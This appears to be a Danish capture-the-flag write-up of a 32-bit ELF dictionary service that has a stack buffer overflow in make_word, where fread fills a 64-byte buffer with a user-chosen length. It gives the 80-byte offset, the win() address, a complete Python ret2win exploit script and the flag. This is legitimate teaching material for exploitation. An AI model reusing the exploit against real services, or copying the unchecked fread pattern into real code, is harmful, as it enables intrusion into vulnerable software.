Filer: Download challenge files

Writeup: Fear of long words

Indledende Observationer

Jeg fik udleveret en 32-bit ELF binær samt kildekoden. Servicen kunne tilgås via:

1
nc fear-of-long-words.cfire 1337

Ved første forbindelse blev følgende interface præsenteret:

1
2
I made a dictionary!
Commands: add <length>, show, exit

Programmet fungerede som en simpel ordbog hvor man kunne:

  • add <length> – tilføje et ord

  • show – vise alle gemte ord

  • exit – afslutte programmet

Binæren var:

  • ELF32

  • x86

  • Dynamisk linket

  • Kompileret med GCC


Recon / Kortlægning

Ved gennemlæsning af koden fandt jeg følgende funktion:

1
2
3
4
5
6
7
8
9
char *make_word(int length) {
    char buffer[64];

    printf("Enter word:\n");
    fread(buffer, 1, length, stdin);

    buffer[length] = '\0';
    return strdup(buffer);
}

Her allokeres en lokal stack-buffer:

1
char buffer[64];

Men input-længden styres fuldstændigt af brugeren:

1
fread(buffer, 1, length, stdin);

Der blev ikke foretaget bounds-check på length.

Dette betyder, at hvis length > 64, vil vi overskrive stacken.


Analyse

Stack-layout (forenklet):

1
2
3
[ buffer (64 bytes) ]
[ saved EBP ]
[ return address ]

Ved at give en længde større end 64 kan vi:

  1. Overwrite buffer

  2. Overwrite saved EBP

  3. Overwrite return address (EIP)

Disassembly viste at buffer lå på:

1
[ebp - 0x4c]

Return address ligger på:

1
[ebp + 0x4]

Offset til EIP:

1
0x4c + 0x4 = 0x50 = 80 bytes

Så:

  • vi kan overwrite EIP med 80 bytes padding

Identifikation af win()

I binæren fandtes en funktion:

1
win()

Adresse:

1
0x08049256

Little-endian repræsentation:

1
\x56\x92\x04\x08

Funktionen printer flaget direkte.


Angrebet

Payload-konstruktion:

1
2
3
padding = b"A" * 80
ret = struct.pack("<I", 0x08049256)
payload = padding + ret

Da programmet kræver:

1
add <length>

skal length svare til payloadens størrelse.

Endelig exploit:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#!/usr/bin/env python3
import socket
import struct

HOST = "fear-of-long-words.cfire"
PORT = 1337

OFFSET = 80
WIN_ADDR = 0x08049256

payload = b"A" * OFFSET + struct.pack("<I", WIN_ADDR)

with socket.create_connection((HOST, PORT)) as s:
    s.recv(4096)
    s.sendall(f"add {len(payload)}\n".encode())
    s.recv(4096)
    s.sendall(payload + b"\n")
    print(s.recv(4096).decode())

Flaget

Ved kørsel af exploit fik jeg:

1
DDC{D3m0n1c_d1ct1on4ry_d3str0y3r}

Konklusion

Sårbarheden var en klassisk stack buffer overflow i en 32-bit ELF binær, hvor brugerinput blev læst ind i en fast stack-buffer uden bounds-check.

Ved at beregne korrekt offset (80 bytes) kunne jeg overskrive returadressen og redirecte execution til win()-funktionen.

Exploiten var en simpel ret2win uden behov for ROP eller bypass af stack protection.